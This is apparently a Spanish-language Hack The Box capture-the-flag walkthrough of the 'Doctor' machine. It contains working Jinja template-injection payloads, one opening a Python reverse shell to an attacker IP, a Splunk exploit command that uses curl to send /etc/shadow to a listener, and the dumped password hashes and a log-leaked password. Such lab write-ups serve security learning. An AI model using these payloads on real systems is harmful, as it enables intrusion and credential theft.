This page looks best with JavaScript enabled

Hack The Box - Doctor

 •  ✍️ sckull

Doctor expone una aplicacion web en donde encontramos y explotamos una vulnerabilidad de Server Side Template Injection (SSTI) en Python lo que nos permitio obtener acceso. Los Logs de Apache nos permitieron leer la contraseña del siguiente usuario. Explotamos una vulnerabilidad en Splunk lo que nos permitio obtener acceso privilegiado.

Informacion de la Maquina

Nombre Doctor box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.209
Maker

egotisticalSW

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.4, 5.9, 5.8, 4.2, 4.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[7, 8, 7, 3, 2],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ssh (22), http (80) y el puerto ssl-https(?) (8089) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Nmap 7.80 scan initiated Wed Dec 30 18:17:55 2020 as: nmap -p- --min-rate 1000 -o scanPorts doctor.htb
Nmap scan report for doctor.htb (10.10.10.209)
Host is up (0.15s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8089/tcp open  unknown

# Nmap done at Wed Dec 30 18:20:06 2020 -- 1 IP address (1 host up) scanned in 131.59 seconds

# Nmap 7.80 scan initiated Wed Dec 30 18:20:46 2020 as: nmap -sV -sC -p22,80,8089 -o servicePorts doctor.htb
Nmap scan report for doctor.htb (10.10.10.209)
Host is up (0.068s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 30 18:21:28 2020 -- 1 IP address (1 host up) scanned in 42.04 seconds

HTTP - PUERTO 80

Encontramos una pagina web en el puerto 80, en esta pagina vemos tambien un dominio doctors.htb el cual agregamos junto al que ya teniamos.

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos, pero al parecer es una pagina estatica.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
kali@kali:~/htb/doctor$ gobuster dir -u http://doctor.htb/ -w /usr/share/wordlists/dirb/common.txt -q -x php,html,txt -t 25
/about.html (Status: 200)
/blog.html (Status: 200)
/contact.html (Status: 200)
/css (Status: 301)
/departments.html (Status: 200)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/js (Status: 301)
/server-status (Status: 403)
/services.html (Status: 200)

HTTPS - PUERTO 8089

En este puerto encontramos una “pagina” donde vemos Splunk en su version web: Splunk build 8.0.5. Tambien un post donde describe una vulnerabilidad en este “servicio” que permite ejecutar comandos, utilizamos el exploit remoto con las credenciales por default pero no logramos obtener ninguna respuesta, por lo que es necesario obtener credenciales.

DOCTORS

Con el dominio nuevo, encontramos un login, donde registramos un usuario y en la pagina inicial vemos una opcion de escribir mensajes que solo presentan contenido y titulo en la pagina principal.

Utilizando BurpSuite dentro de las respuestas pudimos encontrar que es una aplicacion escrita en Python, además ejecutamos Gobuster para buscar diferentes rutas dentro de la aplicacion. Vemos /archive una direccion que no aparece relacionada en ninguna opcion del menu de la aplicacion.

1
2
3
4
5
6
7
8
9
kali@kali:~/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2$ gobuster dir -u http://doctors.htb/ -w /usr/share/wordlists/dirb/big.txt -q -x php,html,txt -t 35 -k
/account (Status: 302)
/archive (Status: 200)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/register (Status: 200)
/reset_password (Status: 200)
/server-status (Status: 403)

La ultima direccion mencionada no tiene ningun tipo de contenido pero al verificar el codigo fuente vemos XML donde se ve reflejado el titulo del Mensaje que creamos, por lo que quizá sea vulnerable a XXE Injection en la etiqueta <title>PAYLOAD</title>.

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>
 	<item><title>Doctor</title></item>

			</channel>			

Intentamos con XXE con diferentes “payloads” en el titulo pero no retornaba ningun valor. Luego de explorar algunas vulnerabilidades “parecidas” encontramos Server Side Template Injection - Jinja en Python, utilizando los diferentes Payloads iniciales, vemos valores retornados.

1
{{4*4}}[[5*5]]

Tambien logramos obtener un poco de informacion como la direccion de la base de datos, la direccion de la aplicacion, su codigo fuente y el contenido de la base de datos, ejecutando algunos comandos con un payload para ejecucion de estos.

#configuracion
{{config.items()}}

#Ejecucion de comandos
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
1
2
3
4
5
6
7
8
<!-- Direccion /archive -->
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', '1234'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('MAIL_PASSWORD', 'doctor'), ('MAIL_PORT', 587), ('MAIL_SERVER', ''), ('MAIL_USERNAME', 'doctor'), ('MAIL_USE_TLS', True), ('SQLALCHEMY_DATABASE_URI', 'sqlite://///home/web/blog/flaskblog/site.db'), ('WTF_CSRF_CHECK_DEFAULT', False), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_RECORD_QUERIES', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', None), ('SQLALCHEMY_ENGINE_OPTIONS', {})])</title></item>

    </channel>
1
2
#!/bin/bash
SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/run.py
1
2
3
4
5
6
from flaskblog import create_app

app = create_app()

if __name__ == __main__:
    app.run(debug=False)

En la base de datos encontramos el Post donde vemos el contenido de nuestro payload para realizar la lectura del archivo de base de datos, tambien vemos nuestro usuario con la informacion de registro y autenticacion, tambien el usuario admin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
kali@kali:~/htb/doctor$ sqlite3 site.db 
SQLite version 3.33.0 2020-08-14 13:23:32
Enter ".help" for usage hints.
sqlite> .databases
main: /home/kali/htb/doctor/site.db
sqlite> .tables
post  user
sqlite> select * from post;
1|Doctor blog|2020-09-18 20:48:37.55555|A free blog to share medical knowledge. Be kind!|1
2|{{config.__class__.__init__.__globals__['os'].popen('cat /home/web/blog/flaskblog/site.db|base64').read()}}|2020-12-31 01:44:15.772119|doctor
|2
sqlite> select * from user;
1|admin|admin@doctor.htb|default.gif|$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
2|doctor|doctor@d.com|default.gif|$2b$12$GKxenfwkogZHS97jty2qkODlTrlQeP90HN9VdN0LHTKwiGB8ANcPi
sqlite>

WEB - USER

Ejecutamos una shell inversa con la cual logramos obtener una shell con el usuario web.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.224\",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Realizamos una enumeracion en la maquina, encontramos algunos archivos del usuario root los cuales seguramente se ejecutan cada cierto tiempo para restaurar los archivos de la aplicacion web.

1
2
3
4
5
6
7
8
9
web@doctor:/opt/clean$ ls -lah
ls -lah
total 52K
drwxrwxr-x 2 root root 4,0K Sep  7 15:36 .
drwxr-xr-x 4 root root 4,0K Sep  6 17:56 ..
-rwxr-xr-x 1 root root  211 Sep  6 16:14 cleandb.py
-rwxr-xr-x 1 root root  129 Jul 26 19:35 clean.py
-rw-r--r-- 1 root root  36K Sep  6 16:12 site.db
web@doctor:/opt/clean$

SHAUN - USER

Realizamos una enumeracion y encontramos una contraseña en los logs de apache.

web@doctor:/var/log/apache2$ grep password * |grep -v gobuster
grep password * |grep -v gobuster
backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
web@doctor:/var/log/apache2$

Utilizamos la contraseña encontrada con el usuario shaun, logramos obtener una shell y nuestra flag user.txt.

PRIVILEGE ESCALATION

Anteriormente encontramos en el puerto 8089 a splunk pero necesitabamos credenciales para poder ejecutar comandos o realizar lectura de archivos, con las credenciales de Shaun ejecutamos el exploit remoto lo que permitio realizar la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
kali@kali:~/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2$ python3 PySplunkWhisperer2_remote.py --host doctor.htb --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/etc/shadow' http://10.10.14.224:8081" --lhost 10.10.14.224
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpwp69gine.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.224:8181/
10.10.10.209 - - [30/Dec/2020 22:23:59] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
  kali@kali:~/htb/doctor$ nc -lvvvp 8081
  listening on [any] 8081 ...
  connect to [10.10.14.224] from doctor.htb [10.10.10.209] 44140
  POST / HTTP/1.1
  Host: 10.10.14.224:8081
  User-Agent: curl/7.68.0
  Accept: */*
  Content-Length: 1976
  Content-Type: multipart/form-data; boundary=------------------------56671751738f1529
  Expect: 100-continue

  --------------------------56671751738f1529
  Content-Disposition: form-data; name="data"; filename="shadow"
  Content-Type: application/octet-stream

  root:$6$384TbSO3bB1PWLT1$U8U.j.zBLXobhorPDxOMRZh4eE86lcn7C0dvqRvfJ9qDzreti8HDvXwFZccDat9/HJRNwu04ErVxo3mUwVbs5.:18512:0:99999:7:::
  daemon:*:18375:0:99999:7:::
  bin:*:18375:0:99999:7:::
  sys:*:18375:0:99999:7:::
  sync:*:18375:0:99999:7:::
  games:*:18375:0:99999:7:::
  man:*:18375:0:99999:7:::
  lp:*:18375:0:99999:7:::
  mail:*:18375:0:99999:7:::
  news:*:18375:0:99999:7:::
  uucp:*:18375:0:99999:7:::
  proxy:*:18375:0:99999:7:::
  www-data:*:18375:0:99999:7:::
  backup:*:18375:0:99999:7:::
  list:*:18375:0:99999:7:::
  irc:*:18375:0:99999:7:::
  gnats:*:18375:0:99999:7:::
  nobody:*:18375:0:99999:7:::
  systemd-network:*:18375:0:99999:7:::
  systemd-resolve:*:18375:0:99999:7:::
  systemd-timesync:*:18375:0:99999:7:::
  messagebus:*:18375:0:99999:7:::
  syslog:*:18375:0:99999:7:::
  _apt:*:18375:0:99999:7:::
  tss:*:18375:0:99999:7:::
  uuidd:*:18375:0:99999:7:::
  tcpdump:*:18375:0:99999:7:::
  avahi-autoipd:*:18375:0:99999:7:::
  usbmux:*:18375:0:99999:7:::
  rtkit:*:18375:0:99999:7:::
  dnsmasq:*:18375:0:99999:7:::
  cups-pk-helper:*:18375:0:99999:7:::
  speech-dispatcher:!:18375:0:99999:7:::
  avahi:*:18375:0:99999:7:::
  kernoops:*:18375:0:99999:7:::
  saned:*:18375:0:99999:7:::
  nm-openvpn:*:18375:0:99999:7:::
  hplip:*:18375:0:99999:7:::
  whoopsie:*:18375:0:99999:7:::
  colord:*:18375:0:99999:7:::
  geoclue:*:18375:0:99999:7:::
  pulse:*:18375:0:99999:7:::
  gnome-initial-setup:*:18375:0:99999:7:::
  systemd-coredump:!!:18463::::::
  web:$6$luVwBTOn1q154RLG$KKPgd66FyKM6z.hCPPvOYEVNoZgj/sAagvMrzWSoKrnWICgHo8oRGPzt5glRc7lm6lDfbwk3OUCIfBkYeeCHG0:18463:0:99999:7:::
  _rpc:*:18464:0:99999:7:::
  statd:*:18464:0:99999:7:::
  exim:!:18469:0:99999:7:::
  sshd:*:18469:0:99999:7:::
  shaun:$6$xEyi3OGI4XZfW7uM$dPxAIWOZuAFwJj4W69VGT.T1YLlnEvvaphLjswVs4hv5RUtJ7v7F37XfPtwst9Ije3imy4gRcRppsAZLQ81z80:18519:0:99999:7:::
  splunk:!:18511:0:99999:7:::

  --------------------------56671751738f1529--

Ejecutamos una shell inversa con lo que logramos obtener shell con usuario root y la flag root.txt.

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe